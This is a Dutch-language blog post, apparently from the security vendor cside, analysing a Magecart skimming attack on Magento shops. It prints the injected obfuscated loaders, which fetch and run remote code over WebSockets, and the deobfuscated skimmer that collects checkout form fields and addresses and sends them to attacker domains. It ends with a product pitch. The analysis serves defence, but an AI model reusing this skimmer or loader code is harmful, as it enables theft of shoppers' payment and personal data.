Op 14 oktober plaatsten we een artikel over een nieuwe Magento Magecart-aanval die gaande was. Destijds viel ons slechts één script op als de boosdoener.
Vandaag konden we de aanval gedetailleerder vinden en analyseren.
De aanval gedecodeerd
Dit was de geïnjecteerde code:
<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>
Na het decoderen van dit geobfusceerde script ontdekten we dat het een WebSocket-verbinding opzet naar de volgende URL: wss://gstatlc[.]org/jivo?source=.
We vermoedden vervolgens dat de aanval waarschijnlijk bedoeld was voor web skimming, dat wil zeggen het stelen van klantgegevens zoals creditcardinformatie.
Nu vonden we het volgende script:
! function() {
function e(e) {
let t = "";
for (let n = 0; n < e.length; n += 2) {
let o = e.slice(n, n + 2),
c = parseInt(o, 16);
t += String.fromCharCode(c)
}
return t
}
if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
n = "x-magento-65dsf";
t.onmessage = function(t) {
! function(t) {
if (!document.querySelector("#" + n)) {
const o = document.createElement("script");
o.id = n, o.text = e(t), document.head.appendChild(o)
}
}(t.data)
}
}
}();
Dit leidt tot geobfusceerde code, die ons platform cside automatisch deobfusceert. We vonden verschillende functies die bedoeld zijn om gegevens te onderscheppen.
// Function to decode the selectors
function decodeSelectors() {
let decoded = hexDecode(encodedSelectors);
let selectorArray = decoded.split('|');
return selectorArray;
}
// Function to check if specific elements are present on the page
const checkElementsPresence = () => {
let selectors = decodeSelectors();
return selectors.every(selectorEntry => {
let [selector, count] = selectorEntry.split(':');
let elements = document.querySelectorAll(selector);
return elements.length >= Number(count);
});
};
// Function to generate a unique identifier
const generateUUID = () => {
return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
);
};
// Function to encode data as hex
function hexEncode(str) {
return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
}
// Function to collect form data
const collectFormData = (context) => {
let data = {};
let counts = {};
let inputs = context.querySelectorAll('input, select, textarea');
for (let i = 0; i < inputs.length; ++i) {
let element = inputs[i];
let name = element.name || element.id;
let value = element.value;
if (value !== '' && name) {
if (!counts[name]) counts[name] = 0;
if (element.tagName !== 'SELECT') {
counts[name] === 0
? data[name] = value
: data[`${name}#${counts[name]}`] = value;
} else {
let selectedOption = element.options[element.selectedIndex].text;
counts[name] === 0
? data[name] = selectedOption
: data[`${name}#${counts[name]}`] = selectedOption;
}
counts[name]++;
}
}
data['url'] = window.location.hostname;
data['ua'] = window.navigator.userAgent;
data['ts'] = Date.now();
// Attempt to collect customer address data if available
if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
try {
let addresses = window.checkoutConfig.customerData.addresses;
data['address_data'] = addresses[Object.keys(addresses)[0]];
} catch (e) { /* Ignore errors */ }
}
return hexEncode(JSON.stringify(data));
};
// Interval to repeatedly check and send data
let intervalId = setInterval(() => {
if (checkElementsPresence()) {
let formData = collectFormData(document.body);
const uuid = generateUUID();
const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
const ws = new WebSocket(webSocketURL);
ws.addEventListener('open', function () {
ws.send(formData);
ws.close(1000, 'done');
clearInterval(intervalId);
});
}
}, 1000);
})();
Daarin bevond zich nog een kwaadaardig domein: wss://adsprove[.]online/ws.
Al deze functies bewijzen nu dat het script inderdaad gericht is op het onderscheppen van diverse invoergegevens van nietsvermoedende bezoekers. Het bewijst ook dat het monitoren en blokkeren van deze pogingen aan de client-side essentieel is om deze aanvallen te signaleren en te stoppen.
Hoe u uw site kunt beschermen
cside is opgericht om deze aanvallen te stoppen. Elk gecompromitteerd script van derden dat op uw site aanwezig is, kunnen wij detecteren en blokkeren voordat het wordt uitgevoerd in de browser van uw bezoekers. Zo beschermen we hen én u tegen kwaadwillenden.
Door gebruik te maken van onze gratis versie bent u beschermd tegen deze en soortgelijke aanvallen.









